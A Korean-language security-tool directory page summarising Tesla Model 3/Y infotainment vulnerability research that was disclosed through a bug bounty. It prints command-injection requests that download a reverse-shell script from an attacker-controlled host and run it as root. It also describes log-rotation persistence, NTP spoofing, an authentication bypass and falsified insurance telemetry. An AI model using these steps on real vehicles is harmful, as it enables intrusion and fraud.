Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
tesla-security-research — Tesla Model 3/Y 인포테인먼트 시스템에 대한 취약점 연구. 6개의 취약점, 4개의 CVE (CVE-2022-42005 through CVE-2022-42008). 루트 쉘, 지속적 접근, 보험 텔레메트리 스푸핑. | Kitploit
도구/GitHubGitHub/analyticeth/tesla-security-research
Embedded Systems SecurityPrivilege EscalationPersistence MechanismsVulnerability AnalysisExploitationData ExfiltrationPenetration TestingCommand and ControlHardware & IoT Security

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
Learning & Education
GitHubanalyticeth/tesla-security-research

tesla-security-research

Tesla Model 3/Y 인포테인먼트 시스템에 대한 취약점 연구. 6개의 취약점, 4개의 CVE (CVE-2022-42005 through CVE-2022-42008). 루트 쉘, 지속적 접근, 보험 텔레메트리 스푸핑.

저장소 보기
52개월 전아직 검토되지 않음

테슬라 보안 연구

Tesla Model 3/Y 인포테인먼트 시스템(Intel Atom MCU, Linux 4.14.235)에 대한 취약점 연구로, Bugcrowd를 통해 Tesla에 책임감 있게 제보되었습니다.

생산 중인 Tesla Model 3에서 Tesla의 ODIN 진단 인터페이스의 명령어 주입 취약점을 통해 지속적인 루트 액세스를 획득했습니다(CVE-2022-42008). 그로부터 펌웨어 업데이트 이후에도 지속되는 지속성 방법(CVE-2022-42005, CVE-2022-42006)과 월 보험료를 $130에서 $83으로 직접 낮춘 Safety Score 보험 텔레메트리 스푸핑 방법을 포함한 다섯 가지 추가 취약점을 발견했습니다.

ODIN, hermes, Safety Score에 걸쳐 6개의 취약점. 4개의 CVE. Bugcrowd를 통해 보상 받았으며 Tesla의 SSH 보안 연구원 프로그램에 등록되었습니다.

취약점 요약

발견CVE영향상태보상
ODIN을 통한 루트 셸CVE-2022-42008명령어 주입을 통한 루트 셸수정됨 (2021.32.10)Bugcrowd 현상금
만료된 ODIN 토큰CVE-2022-42007NTP 스푸핑을 통한 토큰 재사용수정됨 (2021.32.10)Bugcrowd 현상금
Mothership에 업로드—Tesla 서버로의 임의 파일 업로드N/A로 표시—
로그 백셸 + DV 액세스CVE-2022-42005, CVE-2022-42006펌웨어 업데이트 이후에도 지속되는 액세스수정됨Bugcrowd 현상금
보험 텔레메트리 스푸핑—스푸핑된 Safety Score로 보험료 인하수정 확인되지 않음—
Unfuse ODIN—인증 없이 모든 ODIN 작업 수행수정 확인되지 않음—

아키텍처

Tesla Model 3/Y 인포테인먼트 시스템(Intel Atom MCU)은 이 연구에서 식별된 여러 공격 표면을 가진 Linux 기반 OS를 실행합니다.

root@kitploit:~
┌──────────────────────────────────────────────────────────┐
│                  Tesla Model 3 MCU (Intel)               │
│                                                          │
│  ┌────────────┐  ┌──────────────┐  ┌──────────────────┐  │
│  │   ODIN     │  │  QtCarServer │  │  hermes          │  │
│  │            │  │              │  │  (proxy+client)  │  │
│  │  CVE-42008 │  │  prototype_  │  │                  │  │
│  │  (cmd inj) │  │  server      │  │  Uploads to      │  │
│  │            │  │  CVE-42006   │  │  Mothership      │  │
│  │  Report 06 │  │  (data vals) │  │  [Report 03]     │  │
│  │  (is-fused │  │              │  │  [Report 05]     │  │
│  │   bypass)  │  └──────────────┘  └────────┬─────────┘  │
│  └──────┬─────┘                             │            │
│         │        ┌──────────────┐           │            │
│         │        │ svlogd       │           │            │
│         │        │ Log Rotation │           │            │
│         │        │ CVE-42005    │           │            │
│         │        │ (persistence)│           │            │
│         │        └──────────────┘           │            │
└─────────┼───────────────────────────────────┼────────────┘
          │                                   │
    ┌─────┴───────┐                   ┌───────┴──────────┐
    │  Toolbox    │                   │   Mothership     │
    │  API        │                   │   Server         │
    │             │                   │                  │
    │  CVE-42007  │                   │  File uploads    │
    │  (expired   │                   │  Telemetry data  │
    │   tokens)   │                   │                  │
    └─────────────┘                   └──────────────────┘

루트 획득 및 지속성

전체 보고서: ODIN을 통한 루트 셸 | 로그 백셸 및 DV 액세스

ODIN 진단 인터페이스는 TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK라는 작업을 노출하며, 이 작업은 MicTest-Input 매개변수(루트로 실행되기 위해 CID_EXEC에 직접 전달되는 문자열 목록)를 허용합니다. 가장 낮은 Toolbox 액세스 수준(tbx-external)을 가진 모든 구독자는 차량의 진단 포트에 연결하고 POST 요청을 보내 이 작업을 트리거할 수 있습니다. 입력 문자열은 그대로 실행되므로 공격은 두 개의 요청으로 이루어집니다. 먼저 curl을 통해 차량에 역방향 셸 스크립트를 다운로드합니다:

root@kitploit:~
{
    "args": {
        "kw": {
            "MicTest-Input": ["curl", "http://<ATTACKER_IP>/shell.sh", "-o", "/home/tesla/shell.sh"]
        },
        "name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
    },
    "command": "execute"
}

그런 다음 실행합니다:

root@kitploit:~
{
    "args": {
        "kw": {
            "MicTest-Input": ["/bin/sh", "/home/tesla/shell.sh"]
        },
        "name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
    },
    "command": "execute"
}

루트 셸이 설정되면 svlogd 로그 순환 구성을 하이재킹하여 지속적인 액세스를 얻습니다. 표준 gzip 압축 명령은 로그가 순환될 때마다 log 계정 아래에서 백셸을 여는 스크립트로 대체됩니다:

root@kitploit:~
!sh /var/log/wpa_supplicant/gzip.sh -c

구성 파일은 chattr +i로 불변으로 만들어져 펌웨어 업데이트 후에도 유지됩니다. log 계정은 표준 sdv 명령을 사용하여 데이터 값을 설정할 수 없지만(dbuses 거부함), Tesla의 유휴 prototype_server는 settings.conf를 통해 활성화되면 모든 데이터 값에 대한 제한 없는 웹소켓 액세스를 제공합니다. 맞춤형 셸 스크립트 세트(sdv, lv, send.sh)는 이 서버와 상호 작용하기 위해 웹소켓 클라이언트를 에뮬레이션합니다.

전체 지속성 도구 키트는 차량의 액세스 코드 입력 상자(터치스크린에서 차량 모델을 길게 누르면 표시됨)를 통해 제어되며, 이 상자는 백셸 열기, 데이터 값 설정, 서비스 모드 전환을 포함한 명령을 발송하는 리스너 스크립트에 의해 모니터링됩니다.

독립적 발견

만료된 ODIN 토큰 + NTP 스푸핑 (CVE-2022-42007)

Tesla의 ODIN 토큰 생성 엔드포인트는 만료된 tbx-tokens를 허용하며, 결정적으로 응답에 사용자의 tbx-token도 반환하여 공유를 통한 토큰 유출을 가능하게 합니다. 일반적으로 만료된 ODIN 토큰은 차량에 의해 거부되지만, ARP 기반 인터셉션(ntpspoof.py)을 사용하여 차량의 NTP 시간 소스를 스푸핑함으로써 차량이 만료 날짜가 지난 토큰을 수락하도록 속일 수 있습니다. 게이트웨이는 NTP 변조를 감지하지만(GTW_w149_rtcTimeSetInPast) 이 신호에 대해 조치를 취하지 않습니다.

Mothership에 업로드

차량의 인증서를 /var/lib/car_creds/에서 사용하여 로컬 머신에서 hermes_proxy 서비스를 시작하면 Tesla의 Mothership 서버에 직접 액세스할 수 있습니다. 프로필 백업 엔드포인트(/vehicles/${VIN}/computer_profile)는 검증 없이 임의의 파일 업로드를 허용합니다. 단일 curl 명령으로 모든 파일을 Tesla의 프로덕션 인프라에 업로드할 수 있습니다. Tesla는 이 발견을 N/A("의도된 대로 작동")로 표시했습니다.

보험 텔레메트리 스푸핑

Tesla의 Safety Score 시스템은 MCU에서 주행 텔레메트리를 수집하여 Mothership에 업로드하여 보험료 계산에 사용합니다. 루트 액세스를 통해 완벽한 점수의 텔레메트리 샘플을 캡처하고, 역공학된 스키마(telemetry.proto)를 사용하여 16진수 편집을 통해 protobuf 인코딩된 주행 거리 값을 부풀린 다음 수정된 샘플을 다시 업로드할 수 있습니다. 두 개의 조작된 주행 기록이 Mothership에 수락되었습니다. 하나는 약 3.5시간에 ~2,700마일을 주행한 것으로 표시되어 월 보험료를 $130에서 $83으로 직접 낮췄습니다. 근본적인 문제는 텔레메트리가 (사용자가 액세스 가능한) MCU에서 발생하며, (강화된) APE3 자율주행 장치가 아니라는 점입니다. Tesla는 이 발견에 대해 현상금을 지급하지 않았습니다.

ODIN 인증 우회

루트 액세스를 통해 /usr/bin/is-fused 위에 가짜 is-fused 스크립트를 바인드 마운트하고 ODIN 서비스를 다시 시작하면 ODIN이 장치가 공장/개발 모드에 있다고 믿게 만듭니다. 이 상태에서는 인증 토큰 없이 모든 ODIN 작업을 실행할 수 있습니다. 여기에는 차량 경보를 비활성화할 수 있는 작업(PROC_ICE_X_SET-DATA-VALUE), VIN을 지우는 작업(PROC_ICE_X_DEASSOCIATE-PRODUCT-ID), 또는 잠재적으로 안전에 중요한 차량 기능을 작동시키는 작업이 포함됩니다.

도구

면책 조항

이 연구는 책임감 있는 보안 연구의 일환으로 수행되었으며 Bugcrowd를 통해 Tesla의 버그 바운티 프로그램에 보고되었습니다. CVE가 할당된 모든 취약점은 현재 펌웨어 버전에서 패치되었습니다. 이 저장소는 교육 목적으로만 게시되었습니다.

이 연구의 결과로 팀은 Bugcrowd를 통해 금전적 현상금을 수여받았으며, 계속된 연구 액세스를 위해 서명된 SSH 인증서를 받아 Tesla의 SSH 보안 연구원 프로그램에 등록되었습니다.

참고 자료

  • CVE-2022-42008 — ODIN을 통한 루트 셸
  • CVE-2022-42007 — 만료된 ODIN 토큰
  • CVE-2022-42006 — 프로토타입 서버 데이터 값 액세스
  • CVE-2022-42005 — 지속적인 로그 셸
  • Tesla Hacking: Part 1 — Obtaining Root on a Tesla Model 3
  • Tesla Hacking: Part 2 — Spoofing Tesla Insurance Telemetry Data
  • Tesla Security

연구자

  • Matthew C. Pilsbury
  • Alex Harbuzenko
  • Oleg Kutkov
  • Tristan Rice

SourceHat Labs Inc.를 대신하여 수행된 연구.

도구 다운로드
도구설명
ntpspoof.pyARP 기반 NTP 스푸핑으로 만료된 ODIN 토큰 재사용 (Python/scapy)
telemetry.protoTesla Safety Score 텔레메트리용 역공학된 protobuf 스키마 (34개 필드)
listen.sh액세스 코드 상자 명령 리스너 — 터치스크린을 통한 은밀한 명령 인터페이스
sdvprototype_server 웹소켓을 통해 데이터 값 설정
lvprototype_server 웹소켓을 통해 데이터 값 가져오기
send.shprototype_server 통신을 위한 웹소켓 프레임 구성